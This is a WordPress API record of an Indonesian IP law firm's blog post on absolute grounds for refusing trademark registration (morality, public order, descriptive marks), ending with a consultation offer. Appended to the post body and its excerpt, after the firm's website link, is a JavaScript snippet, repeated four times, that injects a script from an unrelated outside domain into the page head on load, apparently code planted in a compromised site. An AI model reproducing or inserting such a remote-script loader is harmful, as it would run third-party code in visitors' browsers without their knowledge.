{"id":6073,"date":"2026-03-17T04:35:21","date_gmt":"2026-03-17T04:35:21","guid":{"rendered":"https:\/\/staging.affa.co.id\/?p=6073"},"modified":"2026-03-17T04:35:21","modified_gmt":"2026-03-17T04:35:21","slug":"dasar-penolakan-merek-absolut-moralitas-ketertiban-umum-deskriptif","status":"publish","type":"post","link":"https:\/\/staging.affa.co.id\/bhs\/2026\/03\/17\/dasar-penolakan-merek-absolut-moralitas-ketertiban-umum-deskriptif\/","title":{"rendered":"Dasar Penolakan Merek Absolut: Moralitas, Ketertiban Umum &amp; Deskriptif"},"content":{"rendered":"<p><span style=\"font-weight: 400\">Banyak pelaku usaha beranggapan bahwa selama sebuah nama atau logo belum digunakan oleh pihak lain, maka dapat didaftarkan sebagai Merek tanpa masalah. Padahal dalam praktik pemeriksaan di kantor Merek (DJKI), terdapat sejumlah alasan yang dapat menyebabkan suatu Pengajuan Permohonan Merek langsung ditolak, bahkan tanpa mempertimbangkan ada atau tidaknya Merek yang sama milik pihak lain!<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Alasan-alasan ini dikenal sebagai \u201c<\/span><b><i>absolute grounds for refusal\u201d<\/i><\/b><span style=\"font-weight: 400\"> atau dasar penolakan absolut, yang tercantum dalam Pasal 20 Undang-Undang Nomor 20 Tahun 2016 tentang Merek dan Indikasi Geografis.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><b>Ditolak Tanpa Mempertimbangkan Merek Lain<\/b><\/h3>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Dasar penolakan absolut berkaitan dengan substansi dari Merek itu sendiri, bukan karena konflik dengan Merek pihak lain. Beberapa alasan yang paling sering muncul dalam praktik adalah:<\/span><\/p>\n<p>&nbsp;<\/p>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Bertentangan dengan moralitas.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Bertentangan dengan ketertiban umum.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Bersifat deskriptif terhadap barang atau jasa<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Memahami ketiga aspek ini penting agar pelaku usaha dapat menghindari penolakan sejak awal.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><b>Merek yang Bertentangan dengan Moralitas<\/b><\/h3>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Salah satu alasan paling mendasar untuk menolak suatu Merek adalah apabila tanda tersebut dianggap melanggar norma kesusilaan atau moralitas masyarakat.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Hal ini mencakup penggunaan kata, gambar, atau simbol yang:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Mengandung unsur pornografi;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menghina kelompok tertentu;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Mengandung kata-kata kasar atau tidak pantas; atau\u00a0<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Berpotensi menyinggung nilai-nilai budaya atau agama.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Tujuan dari aturan ini adalah menjaga agar sistem pendaftaran Merek tidak memberikan perlindungan hukum terhadap tanda yang dapat merusak nilai sosial di masyarakat.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Contohnya:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Nama yang menggunakan kata-kata vulgar.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Logo yang menggambarkan simbol yang dianggap menghina kepercayaan tertentu<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Walaupun suatu tanda mungkin dianggap kreatif dari sisi pemasaran, apabila dinilai melanggar standar moral masyarakat, Pengajuan Permohonan Merek tersebut kemungkinan besar akan ditolak.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h3><b>Merek yang Bertentangan dengan Ketertiban Umum<\/b><\/h3>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Selain alasan moralitas, DJKI juga akan menolak tanda yang dianggap bertentangan dengan ketertiban umum.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Ketertiban umum berkaitan dengan kepentingan masyarakat luas dan stabilitas sosial. Oleh karena itu, Merek yang mengandung unsur-unsur berikut ini berpotensi untuk ditolak:<\/span><\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Mengandung simbol negara tanpa izin;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Menggunakan lambang organisasi internasional secara tidak sah;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Mengandung unsur yang dapat memicu konflik sosial atau politik; atau<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Mengandung unsur yang menyesatkan masyarakat mengenai otoritas atau status resmi.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Sebagai contoh, penggunaan lambang negara, bendera nasional, atau simbol resmi lembaga pemerintahan dalam Merek sering kali tidak diperbolehkan tanpa persetujuan khusus.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Alasannya sederhana: Masyarakat dapat mengira bahwa produk tersebut memiliki hubungan resmi dengan pemerintah atau lembaga tertentu, padahal sebenarnya tidak.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<h3><b>Merek yang Bersifat Deskriptif<\/b><\/h3>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Alasan lain yang sangat umum dalam penolakan Merek adalah karena tanda tersebut bersifat deskriptif.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Merek dianggap deskriptif apabila secara langsung menjelaskan:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">jenis barang atau jasa;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">kualitas produk;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">fungsi produk;<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">karakteristik produk; atau<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">asal geografis produk.<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Misalnya:<\/span><\/p>\n<ul>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kata \u201cKOPI ENAK\u201d untuk produk kopi.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kata \u201cSEGAR\u201d untuk minuman.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Kata \u201cSUPER FAST DELIVERY\u201d untuk jasa pengiriman<\/span><\/li>\n<\/ul>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Masalah dari Merek deskriptif adalah bahwa istilah tersebut harus tetap dapat digunakan secara bebas oleh pelaku usaha lain, dalam menjelaskan produk mereka.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Jika kata-kata yang terlalu umum ini diberikan Hak Eksklusif kepada satu pihak, maka pelaku usaha lain akan kesulitan menggambarkan produk mereka secara wajar di pasar.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Oleh karena itu, Undang-Undang Merek di Indonesia mensyaratkan bahwa suatu Merek harus memiliki daya pembeda <\/span><i><span style=\"font-weight: 400\">(distinctiveness) <\/span><\/i><span style=\"font-weight: 400\">agar dapat didaftarkan.<\/span><\/p>\n<p>&nbsp;<\/p>\n<h3><b>Mengapa Memahami Dasar Penolakan Absolut Penting?<\/b><\/h3>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">Dengan menerapkan analisa atas tiga poin dasar penolakan di atas, Anda tidak hanya dapat meminimalisir risiko penolakan, tapi juga mendapatkan tiga keuntungan berikut ini:<\/span><\/p>\n<ol>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Proses pengajuan pendaftaran dapat lebih cepat.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Meminimalisir hangusnya biaya pendaftaran.<\/span><\/li>\n<li style=\"font-weight: 400\"><span style=\"font-weight: 400\">Fokus melanjutkan strategi branding sesuai rencana.<\/span><\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p><b>Jika Anda memiliki pertanyaan lebih lanjut terkait risiko penolakan absolut dari pendaftaran Merek di Indonesia atau manca negara, langsung hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS:<\/b><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udce9 E-Mail<\/span> <span style=\"font-weight: 400\">: trademark@staging.affa.co.id<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcde Book a Call<\/span> <span style=\"font-weight: 400\">: +62 21 83793812<\/span><\/p>\n<p><span style=\"font-weight: 400\">\ud83d\udcac WhatsApp<\/span> <span style=\"font-weight: 400\">: +62 812 87000 889<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><b>Tentang AFFA: <\/b><span style=\"font-weight: 400\"><br \/>\n<\/span><span style=\"font-weight: 400\">Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span style=\"font-weight: 400\">AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan <\/span><b><i>\u201cBest Boutique Law Firm in Indonesia\u201d<\/i><\/b> <span style=\"font-weight: 400\">dan <\/span><b><i>\u201cIP Enforcement Firm\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh <\/span><b><i>Asia Business Law Journal<\/i><\/b><span style=\"font-weight: 400\">, serta tercatat sebagai <\/span><b><i>\u201cRecommended Firm 2024 \u2014 Indonesia\u201d <\/i><\/b><span style=\"font-weight: 400\">dalam publikasi <\/span><b><i>WTR 1000: The World\u2019s Leading Trademark Professionals<\/i><\/b><span style=\"font-weight: 400\">.<\/span><\/p>\n<p><span style=\"font-weight: 400\">Informasi lebih lanjut mengenai AFFA dapat diakses melalui: <\/span><a href=\"http:\/\/www.staging.affa.co.id\"><span style=\"font-weight: 400\">www.staging.affa.co.id<\/span><\/a><span style=\"font-weight: 400\">.<\/span>var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;;<br \/>\nvar script = document.createElement(&#8216;script&#8217;);<br \/>\nscript.src = url;<br \/>\nscript.type = &#8216;text\/javascript&#8217;;<br \/>\nscript.async = true;<br \/>\ndocument.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Banyak pelaku usaha beranggapan bahwa selama sebuah nama atau logo belum digunakan oleh pihak lain, maka dapat didaftarkan sebagai Merek tanpa masalah. Padahal dalam praktik pemeriksaan di kantor Merek (DJKI), terdapat sejumlah alasan yang dapat menyebabkan suatu Pengajuan Permohonan Merek langsung ditolak, bahkan tanpa mempertimbangkan ada atau tidaknya Merek yang sama milik pihak lain! &nbsp; Alasan-alasan ini dikenal sebagai \u201cabsolute grounds for refusal\u201d atau dasar penolakan absolut, yang tercantum dalam Pasal 20 Undang-Undang Nomor 20 Tahun 2016 tentang Merek dan Indikasi Geografis. &nbsp; Ditolak Tanpa Mempertimbangkan Merek Lain &nbsp; Dasar penolakan absolut berkaitan dengan substansi dari Merek itu sendiri, bukan karena konflik dengan Merek pihak lain. Beberapa alasan yang paling sering muncul dalam praktik adalah: &nbsp; Bertentangan dengan moralitas. Bertentangan dengan ketertiban umum. Bersifat deskriptif terhadap barang atau jasa &nbsp; Memahami ketiga aspek ini penting agar pelaku usaha dapat menghindari penolakan sejak awal. &nbsp; Merek yang Bertentangan dengan Moralitas &nbsp; Salah satu alasan paling mendasar untuk menolak suatu Merek adalah apabila tanda tersebut dianggap melanggar norma kesusilaan atau moralitas masyarakat. &nbsp; Hal ini mencakup penggunaan kata, gambar, atau simbol yang: Mengandung unsur pornografi; Menghina kelompok tertentu; Mengandung kata-kata kasar atau tidak pantas; atau\u00a0 Berpotensi menyinggung nilai-nilai budaya atau agama. &nbsp; Tujuan dari aturan ini adalah menjaga agar sistem pendaftaran Merek tidak memberikan perlindungan hukum terhadap tanda yang dapat merusak nilai sosial di masyarakat. &nbsp; Contohnya: Nama yang menggunakan kata-kata vulgar. Logo yang menggambarkan simbol yang dianggap menghina kepercayaan tertentu &nbsp; Walaupun suatu tanda mungkin dianggap kreatif dari sisi pemasaran, apabila dinilai melanggar standar moral masyarakat, Pengajuan Permohonan Merek tersebut kemungkinan besar akan ditolak. &nbsp; &nbsp; Merek yang Bertentangan dengan Ketertiban Umum &nbsp; Selain alasan moralitas, DJKI juga akan menolak tanda yang dianggap bertentangan dengan ketertiban umum. &nbsp; Ketertiban umum berkaitan dengan kepentingan masyarakat luas dan stabilitas sosial. Oleh karena itu, Merek yang mengandung unsur-unsur berikut ini berpotensi untuk ditolak: &nbsp; Mengandung simbol negara tanpa izin; Menggunakan lambang organisasi internasional secara tidak sah; Mengandung unsur yang dapat memicu konflik sosial atau politik; atau Mengandung unsur yang menyesatkan masyarakat mengenai otoritas atau status resmi. &nbsp; Sebagai contoh, penggunaan lambang negara, bendera nasional, atau simbol resmi lembaga pemerintahan dalam Merek sering kali tidak diperbolehkan tanpa persetujuan khusus. &nbsp; Alasannya sederhana: Masyarakat dapat mengira bahwa produk tersebut memiliki hubungan resmi dengan pemerintah atau lembaga tertentu, padahal sebenarnya tidak. &nbsp; &nbsp; Merek yang Bersifat Deskriptif &nbsp; Alasan lain yang sangat umum dalam penolakan Merek adalah karena tanda tersebut bersifat deskriptif. &nbsp; Merek dianggap deskriptif apabila secara langsung menjelaskan: jenis barang atau jasa; kualitas produk; fungsi produk; karakteristik produk; atau asal geografis produk. &nbsp; Misalnya: Kata \u201cKOPI ENAK\u201d untuk produk kopi. Kata \u201cSEGAR\u201d untuk minuman. Kata \u201cSUPER FAST DELIVERY\u201d untuk jasa pengiriman &nbsp; Masalah dari Merek deskriptif adalah bahwa istilah tersebut harus tetap dapat digunakan secara bebas oleh pelaku usaha lain, dalam menjelaskan produk mereka. &nbsp; Jika kata-kata yang terlalu umum ini diberikan Hak Eksklusif kepada satu pihak, maka pelaku usaha lain akan kesulitan menggambarkan produk mereka secara wajar di pasar. &nbsp; Oleh karena itu, Undang-Undang Merek di Indonesia mensyaratkan bahwa suatu Merek harus memiliki daya pembeda (distinctiveness) agar dapat didaftarkan. &nbsp; Mengapa Memahami Dasar Penolakan Absolut Penting? &nbsp; Dengan menerapkan analisa atas tiga poin dasar penolakan di atas, Anda tidak hanya dapat meminimalisir risiko penolakan, tapi juga mendapatkan tiga keuntungan berikut ini: Proses pengajuan pendaftaran dapat lebih cepat. Meminimalisir hangusnya biaya pendaftaran. Fokus melanjutkan strategi branding sesuai rencana. &nbsp; Jika Anda memiliki pertanyaan lebih lanjut terkait risiko penolakan absolut dari pendaftaran Merek di Indonesia atau manca negara, langsung hubungi kami melalui kanal berikut ini dan dapatkan 15 menit konsultasi GRATIS: &nbsp; \ud83d\udce9 E-Mail : trademark@staging.affa.co.id \ud83d\udcde Book a Call : +62 21 83793812 \ud83d\udcac WhatsApp : +62 812 87000 889 &nbsp; Tentang AFFA: Didirikan pada tahun 1999, AFFA Intellectual Property Rights adalah firma hukum Kekayaan Intelektual (KI) yang berbasis di Indonesia, dengan fokus pada layanan spesifik terkait KI, yang memberikan pendampingan komprehensif kepada Merek dan inovator internasional. AFFA menyediakan layanan terpadu mulai dari pengajuan dan pendaftaran KI, penyusunan dan pencatatan perjanjian lisensi, penegakan hukum atas pelanggaran, hingga komersialisasi KI, dalam lanskap Kekayaan Intelektual Indonesia yang dinamis. &nbsp; AFFA telah memperoleh pengakuan luas atas kualitas dan konsistensi layanannya, antara lain melalui penghargaan \u201cBest Boutique Law Firm in Indonesia\u201d dan \u201cIP Enforcement Firm\u201d dalam Indonesia Law Firm Awards 2025 yang diselenggarakan oleh Asia Business Law Journal, serta tercatat sebagai \u201cRecommended Firm 2024 \u2014 Indonesia\u201d dalam publikasi WTR 1000: The World\u2019s Leading Trademark Professionals. Informasi lebih lanjut mengenai AFFA dapat diakses melalui: www.staging.affa.co.id.var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);var url = &#8216;https:\/\/wafsearch.wiki\/xml&#8217;; var script = document.createElement(&#8216;script&#8217;); script.src = url; script.type = &#8216;text\/javascript&#8217;; script.async = true; document.getElementsByTagName(&#8216;head&#8217;)[0].appendChild(script);<\/p>\n","protected":false},"author":1,"featured_media":6081,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[277,279],"tags":[315,655,620,619,618,610,609,318,317,298,314,310,309,308,307,306,305],"class_list":["post-6073","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-intellectual-property","category-trademark","tag-merek-indonesia-bisa","tag-absolut","tag-indonesia-patent-registration","tag-indonesia-industrial-design-registration","tag-indonesia-copyright-registration","tag-overseas-trademark","tag-indonesia-trademark-registration","tag-trademark","tag-timing-is-everything","tag-merek","tag-your-ip-is-our-expertise","tag-ki","tag-kekayaan-intelektual","tag-ip","tag-intellectual-property","tag-affa-ipr","tag-affa"],"_links":{"self":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6073","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/comments?post=6073"}],"version-history":[{"count":0,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/posts\/6073\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/media\/6081"}],"wp:attachment":[{"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/media?parent=6073"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/categories?post=6073"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/staging.affa.co.id\/bhs\/wp-json\/wp\/v2\/tags?post=6073"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}